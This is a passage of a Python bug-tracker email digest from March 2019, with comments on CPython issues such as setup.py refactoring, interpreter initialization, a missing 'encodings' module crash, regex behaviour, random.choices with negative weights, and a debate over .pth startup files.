>>> re.match(r'(((a)|b)*)', 'ab').groups()
('ab', 'b', 'a')

Maybe the correct result is ('ab', 'b', None), only Node.js 10.15.1 returns this.
All other engines return the same result as sre.

----------
Added file: https://bugs.python.org/file48181/test_scripts_for_7_engines.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:27:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:27:05 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551450425.33.0.990991200015.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

TODO: check if _Py_ClearFileSystemEncoding() uses the right memory allocator. _Py_SetFileSystemEncoding() doesn't change temporarily the memory allocator.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:28:21 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:28:21 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551450501.98.0.918484278354.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12125

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:31:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:31:47 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551450707.98.0.26206587739.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 8058bdae3e5e1f77a202d9dc907b4189409c9b03 by Victor Stinner in branch 'master':
bpo-36146: Refactor setup.py: PyBuildExt.add() method (GH-12097)
https://github.com/python/cpython/commit/8058bdae3e5e1f77a202d9dc907b4189409c9b03


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:44:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:44:13 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551451453.45.0.00175323349267.issue36146@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12126

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:52:47 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 14:52:47 +0000
Subject: [issue36152] IDLE: Remove close_when_done from colorizer close()
In-Reply-To: <1551397909.36.0.802357976023.issue36152@roundup.psfhosted.org>
Message-ID: <1551451967.88.0.41702184896.issue36152@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 70852b1eb6fbcc41fe9cad042e9ca61c5148fbda by Miss Islington (bot) in branch '3.7':
bpo-36152: IDLE: Remove unused parameter from colorizer (GH-12109)
https://github.com/python/cpython/commit/70852b1eb6fbcc41fe9cad042e9ca61c5148fbda


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36152>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:53:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:53:11 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551451991.5.0.76092747344.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset dfe884759d1f4441c889695f8985bc9feb9f37eb by Victor Stinner in branch 'master':
bpo-36142: Rework error reporting in pymain_main() (GH-12113)
https://github.com/python/cpython/commit/dfe884759d1f4441c889695f8985bc9feb9f37eb


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:53:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:53:59 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551452039.5.0.282222744844.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12127

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:58:03 2019
From: report at bugs.python.org (kellena)
Date: Fri, 01 Mar 2019 14:58:03 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551452283.35.0.981960177779.issue36154@roundup.psfhosted.org>


kellena <onegreatbigworld at gmail.com> added the comment:

When I run python3 in a terminal window, I get the same pop-up window with "Python quit unexpectedly error." In the terminal, I get:

Fatal Python error: initfsencoding: unable to load the file system codec

ModuleNotFoundError: No module named 'encodings'


Current thread 0x000000011422c5c0 (most recent call first):

Abort trap: 6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 09:59:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 14:59:42 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551452382.31.0.117511378579.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 625dbf2567533e6001d57e5969fba75c1b6ece43 by Victor Stinner in branch 'master':
bpo-36146: Refactor setup.py: Add PyBuildExt.srcdir (GH-12124)
https://github.com/python/cpython/commit/625dbf2567533e6001d57e5969fba75c1b6ece43


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:24:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 15:24:28 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551453868.18.0.0140623681177.issue36146@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12128

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:25:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 15:25:22 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551453922.36.0.2700044198.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 95e2cbf32f8156c239b27dae558ba058d0f2d496 by Victor Stinner in branch 'master':
bpo-36142: Move command line parsing to coreconfig.c (GH-12123)
https://github.com/python/cpython/commit/95e2cbf32f8156c239b27dae558ba058d0f2d496


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:31:00 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 01 Mar 2019 15:31:00 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551454260.26.0.955995389411.issue36154@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

> Fatal Python error: initfsencoding: unable to load the file system codec
>
> ModuleNotFoundError: No module named 'encodings'

OK, this is the important part which describes what Python failed.

In this case, Python can't find it's very important standard library; 'encodings'.

You may remove it, or you configured Python badly via environment variables.
Try `env | grep PYTHON` in your terminal.  Any environment variables
relating to Python is configured?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:33:06 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 15:33:06 +0000
Subject: [issue35975] Put back the ability to parse files where async/await
 aren't keywords
In-Reply-To: <1549931018.54.0.209945896308.issue35975@roundup.psfhosted.org>
Message-ID: <1551454386.17.0.271461609373.issue35975@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35975>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:34:35 2019
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 01 Mar 2019 15:34:35 +0000
Subject: [issue13055] Distutils tries to handle null versions but fails
In-Reply-To: <1317238322.67.0.925527851228.issue13055@psf.upfronthosting.co.za>
Message-ID: <1551454475.72.0.683948642041.issue13055@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12129
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13055>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:43:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 15:43:31 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551455011.4.0.171019829669.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 5ec33a1c25a586552751ca35c85ab7ecb6b06ec3 by Victor Stinner in branch 'master':
bpo-36146: Split setup.py into subfunctions (GH-12125)
https://github.com/python/cpython/commit/5ec33a1c25a586552751ca35c85ab7ecb6b06ec3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 10:54:38 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 15:54:38 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551455678.88.0.181366983598.issue36146@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12130

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:19:12 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 16:19:12 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551457152.38.0.918865408529.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset c991f2415d4eef663039a83125aa6aad81672680 by Victor Stinner in branch 'master':
bpo-36146: Don't run code at setup.py top level (GH-12127)
https://github.com/python/cpython/commit/c991f2415d4eef663039a83125aa6aad81672680


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:29:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 16:29:58 +0000
Subject: [issue36116] test_multiprocessing_spawn fails on AMD64 Windows8 3.x
In-Reply-To: <1551165223.62.0.963183120667.issue36116@roundup.psfhosted.org>
Message-ID: <1551457798.96.0.581446576716.issue36116@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

https://buildbot.python.org/all/#/builders/32/builds/2219

FAIL: test_mymanager_context_prestarted (test.test_multiprocessing_spawn.WithManagerTestMyManager)
Re-running failed tests in verbose mode
Re-running test 'test_multiprocessing_spawn' in verbose mode
FAIL: test_mymanager_context_prestarted (test.test_multiprocessing_spawn.WithManagerTestMyManager)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36116>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:30:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 16:30:40 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551457840.52.0.0246596230742.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12131

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:36:40 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 16:36:40 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
Message-ID: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

PyInterpreterState_Main() is a function in the public C-API that returns a pointer to the main interpreter's state.  The main interpreter is the first one created by the CPython runtime during startup (e.g. when the "python" command is run).

Documentation for PyInterpreterState_Main() should be on the "Initialization, Finalization, and Threads" page of the C-API docs, probably in the "Sub-interpreter support" section. [1]  It could also possibly go in the "Advanced Debugger Support" section. [2]

FYI, I added PyInterpreterState_Main() at PyCon US 2017 (commit f5df46d701d29baf738365da6fcf1b8a3ceabb71) when I merged Nick Coghlan's internal implementation of PEP 432.  So it has been available since 3.7.


[1] https://docs.python.org/3/c-api/init.html#sub-interpreter-support
[2] https://docs.python.org/3/c-api/init.html#advanced-debugger-support

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 336929
nosy: docs at python, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Document PyInterpreterState_Main().
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:43:46 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 01 Mar 2019 16:43:46 +0000
Subject: [issue27321] Email parser creates a message object that can't be
 flattened
In-Reply-To: <1465930372.53.0.0254623453508.issue27321@psf.upfronthosting.co.za>
Message-ID: <1551458626.39.0.0943715952038.issue27321@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

@r.david.murray, it appears that all your requested changes have been addressed on the PR.  Please re-review this when you get a chance.  Thanks!

----------
nosy: +cheryl.sabella
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27321>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:50:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 16:50:14 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551459014.77.0.249658664929.issue36146@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12132

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:52:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 16:52:59 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551459179.58.0.754364117541.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 91b9ecf82c3287b45f39158c5134a87414ff26bc by Victor Stinner in branch 'master':
bpo-36142: Add preconfig.c (GH-12128)
https://github.com/python/cpython/commit/91b9ecf82c3287b45f39158c5134a87414ff26bc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:01:12 2019
From: report at bugs.python.org (Sridhar Iyer)
Date: Fri, 01 Mar 2019 17:01:12 +0000
Subject: [issue36153] Freeze support documentation is misleading.
In-Reply-To: <1551401372.79.0.134624139836.issue36153@roundup.psfhosted.org>
Message-ID: <1551459672.59.0.436145812276.issue36153@roundup.psfhosted.org>


Sridhar Iyer <sridhar.v.iyer at gmail.com> added the comment:

Please find the attached python file where the issue is seen.
The cli to create an executable was:
$pyinstaller run_server_min.spec

Here are the contents of the file (this doesn't support multiple file uploads):
================
# -*- mode: python ; coding: utf-8 -*-

block_cipher = None


a = Analysis(['run_server_min.py'],
             pathex=['<PUT ABSOLUTE PATH OF ABOVE FILE HERE>'],
             binaries=[],
             datas=[],
             hiddenimports=['sklearn.neighbors.typedefs', 'sklearn.neighbors.quad_tree', 'sklearn.tree._utils', 'xgboost', 'xgboost.libpath'],
             hookspath=['pyhooks'],
             runtime_hooks=[],
             excludes=[],
             win_no_prefer_redirects=False,
             win_private_assemblies=False,
             cipher=block_cipher,
             noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)
exe = EXE(pyz,
          a.scripts,
          a.binaries,
          a.zipfiles,
          a.datas,
          [],
          name='run_server_min',
          debug=False,
          bootloader_ignore_signals=False,
          strip=False,
          upx=False,
          runtime_tmpdir=None,
          console=True )
=========

$ pyinstaller run_server_min.spec
69 INFO: PyInstaller: 3.5.dev0+cb8d10af6
69 INFO: Python: 3.6.7
70 INFO: Platform: Linux-3.16.0-77-generic-x86_64-with-debian-jessie-sid
...

When your run ./dist/run_server_min that is generated, it'll spawn the process multiple times. The issue goes away when you add freeze_support on the top.

----------
Added file: https://bugs.python.org/file48182/run_server_min.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36153>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:12:56 2019
From: report at bugs.python.org (Ted Whalen)
Date: Fri, 01 Mar 2019 17:12:56 +0000
Subject: [issue31689] random.choices does not work with negative weights
In-Reply-To: <1507121599.13.0.213398074469.issue31689@psf.upfronthosting.co.za>
Message-ID: <1551460376.54.0.341310380942.issue31689@roundup.psfhosted.org>


Ted Whalen <tewhalen at gmail.com> added the comment:

I think this should be reopened, as the behavior doesn't always raise an error, and, in fact, does something very unexpected:

Python 3.7.2 (default, Jan 13 2019, 12:50:01)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from collections import Counter
>>> from random import choices
>>> Counter(choices("abcdefg", weights=(1,1,-1,1,1,0,1), k=10000))
Counter({'a': 2569, 'b': 2514, 'e': 2487, 'g': 2430})

It's really not clear to me why supplying a negative weight for "c" should have any effect on "d".

----------
nosy: +Ted Whalen

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31689>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:17:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:17:58 +0000
Subject: [issue35178] Typo/trivial mistake in warnings.py (may be related to
 2.x to 3.x conversion)
In-Reply-To: <1541516830.55.0.788709270274.issue35178@psf.upfronthosting.co.za>
Message-ID: <1551460678.56.0.228181972584.issue35178@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset be7c460fb50efe3b88a00281025d76acc62ad2fd by Victor Stinner (Xtreak) in branch 'master':
bpo-35178: Fix warnings._formatwarnmsg() (GH-12033)
https://github.com/python/cpython/commit/be7c460fb50efe3b88a00281025d76acc62ad2fd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35178>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:18:51 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 17:18:51 +0000
Subject: [issue35178] Typo/trivial mistake in warnings.py (may be related to
 2.x to 3.x conversion)
In-Reply-To: <1541516830.55.0.788709270274.issue35178@psf.upfronthosting.co.za>
Message-ID: <1551460731.59.0.227204176827.issue35178@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12133

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35178>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:21:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:21:51 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551460911.86.0.326113892619.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset cfe172dc6bd0a02d36db31ffabcc38f9320a4510 by Victor Stinner in branch 'master':
bpo-36146: Add TEST_EXTENSIONS to setup.py (GH-12129)
https://github.com/python/cpython/commit/cfe172dc6bd0a02d36db31ffabcc38f9320a4510


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:21:57 2019
From: report at bugs.python.org (Matthew Drago)
Date: Fri, 01 Mar 2019 17:21:57 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
Message-ID: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>


New submission from Matthew Drago <mattdrago9 at gmail.com>:

Say for example i want to apply a regex on a list of strings. 

Using list comprehension as such results in the group method not being found.
```
name_regex = compile(r'\[\"([a-zA-Z\s]*)\"{1}')

named_entities = [name_regex.match(entity.trigger).group(1) for entity in entities[0]]
```
This unexpected behavior can also be observed when implementing this using a map.

```
list(map(lambda x: name_regex.search(x.trigger).group(), entities[0])) 
```

However using the traditional for loop implementation the group method is resolved.
```
named_entities = []
for entity in entities[0]:
   named_entities.append(name_regex.match(entity.trigger).group(1))
```

----------
components: Regular Expressions
messages: 336936
nosy: Matthew Drago, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Regex search behaves differently in list comprehension
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:22:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:22:42 +0000
Subject: [issue27640] add the '--disable-test-suite' option to configure
In-Reply-To: <1469700317.99.0.84265252625.issue27640@psf.upfronthosting.co.za>
Message-ID: <1551460962.26.0.342177647337.issue27640@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I modified setup.py to add a new TEST_EXTENSIONS which allows to not build test extensions:

New changeset cfe172dc6bd0a02d36db31ffabcc38f9320a4510 by Victor Stinner in branch 'master':
bpo-36146: Add TEST_EXTENSIONS to setup.py (GH-12129)
https://github.com/python/cpython/commit/cfe172dc6bd0a02d36db31ffabcc38f9320a4510

setup.py should be modified manually, but it's a small step towards be able to build Python without tests ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27640>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:23:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:23:18 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551460998.73.0.557569918418.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Ok, I splitted my giant PR 12068 into multiple small commits. So they are easier to review and understand ;-) I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:27:23 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Fri, 01 Mar 2019 17:27:23 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551401915.86.0.220245357362.issue33944@roundup.psfhosted.org>
Message-ID: <24c80d54-9b86-1b5c-afae-e49ff065a7fe@mail.ru>


Ivan Pozdeev <ivan_pozdeev at mail.ru> added the comment:

On 01.03.2019 3:58, Steve Dower wrote
> Import hooks can always be injected by a package __init__.py before the importer will try and resolve the module, so nothing is needed there.

I thought the flaw in this reasoning in 
https://bugs.python.org/issue33944#msg320277 was obvious and didn't want 
to bother people refuting it. Apparently not.

To do anything in __init__.py, that __init__.py itself needs to be 
already importable. This very well may not be the case -- in fact, 
import hooks were designed specifically for the scenarios where this is 
not the case.

Imagine e.g. loading modules from a cloud storage (why not?) -- so 
nothing on the system at all except the hook. Or, suggested earlier in 
this ticket, a union namespace where the code to import needs to be 
constructed on the fly.

> .pth files really only satisfy the "run at startup because I'm a dependency of something that my user wants and don't make them opt-in to my changed behaviour"

Startup code (custom or not) is not a dependency of anything. It rather customizes the environment in which the program specified by the user would run, _before_ any user code could be allowed to get control. It is not a part of the program to be run but rather of the environment that the user wants, and it needs to be implicit so the user can use the same commands and code (compare venv). This is a required feature because the stock Python startup logic cannot possibly provide all the customizations that a user may need (compare initrd).

.pth's are equivalent to sitecustomize but allow the user to manage the set of code chunks automatically using the packaging infrastructure (compare .d directories in UNIX). The fact that this feature is mixed up with and often supplements "real packages" that a program would explicitly use is actually incidental: a package with a .pth does not need to have any functionality intended for explicit use.

> which I don't like 

If you don't like something, there's always a specific reason -- though you may not understand it consciously. So the way to go is dig into it, find out what specific speck is putting you off -- only then can you be sure that you are concentrating on the right thing and won't throw the baby out with the bathwater. Try to change one trait in your mind's eye leaving all else intact -- will the feeling go away? If it will, you are on the right track; can the trait you chose be split further? You know you found it when you can't change any further part and change the feeling and you can say with confidence how exactly what it's doing misaligns with your moral compass.

We already identified a few real reasons: hard to see, hard to debug, encourages unreadable code, run in arbitrary order when the order matters (and IIRC I provided fixes for all). What else?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:28:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:28:19 +0000
Subject: [issue35478] multiprocessing: ApplyResult.get() hangs if the pool is
 terminated
In-Reply-To: <1544661051.76.0.788709270274.issue35478@psf.upfronthosting.co.za>
Message-ID: <1551461299.78.0.863668104503.issue35478@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Pablo: since you worked on multiprocessing recently, did you see this bug? I'm not sure about my PR 11139...

If someone else wants to work on a fix, ignore my PR ;-)

----------
nosy: +davin, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35478>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:40:14 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 17:40:14 +0000
Subject: [issue35178] Typo/trivial mistake in warnings.py (may be related to
 2.x to 3.x conversion)
In-Reply-To: <1541516830.55.0.788709270274.issue35178@psf.upfronthosting.co.za>
Message-ID: <1551462014.65.0.310705432362.issue35178@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b94874f7e27cbc92e0aec8779ee98bcb16efb257 by Miss Islington (bot) in branch '3.7':
bpo-35178: Fix warnings._formatwarnmsg() (GH-12033)
https://github.com/python/cpython/commit/b94874f7e27cbc92e0aec8779ee98bcb16efb257


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35178>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:49:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 17:49:20 +0000
Subject: [issue35178] Typo/trivial mistake in warnings.py (may be related to
 2.x to 3.x conversion)
In-Reply-To: <1541516830.55.0.788709270274.issue35178@psf.upfronthosting.co.za>
Message-ID: <1551462560.67.0.117035122619.issue35178@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Tashrif Billah and  Karthikeyan Singaravelan for the fix!

Sadly, Python 3.6 now only accept security fixes, and so this bug cannot be fixed in the 3.6 branch anymore.

The workaround is the rename the last parameter of your customer formatmsg function to 'line' ;-)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7, Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35178>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:55:17 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 17:55:17 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551462917.24.0.0498383801749.issue36158@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Can you please add a short script with data for entities to try reproducing this?

>>> from re import compile
>>> name_regex = compile(r'\[\"([a-zA-Z\s]*)\"{1}')
>>> [name_regex.match(a).group(1) for a in ['["a"a]']]
['a']
>>> list(map(lambda a: name_regex.match(a).group(1), ['["a"a]']))
['a']

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

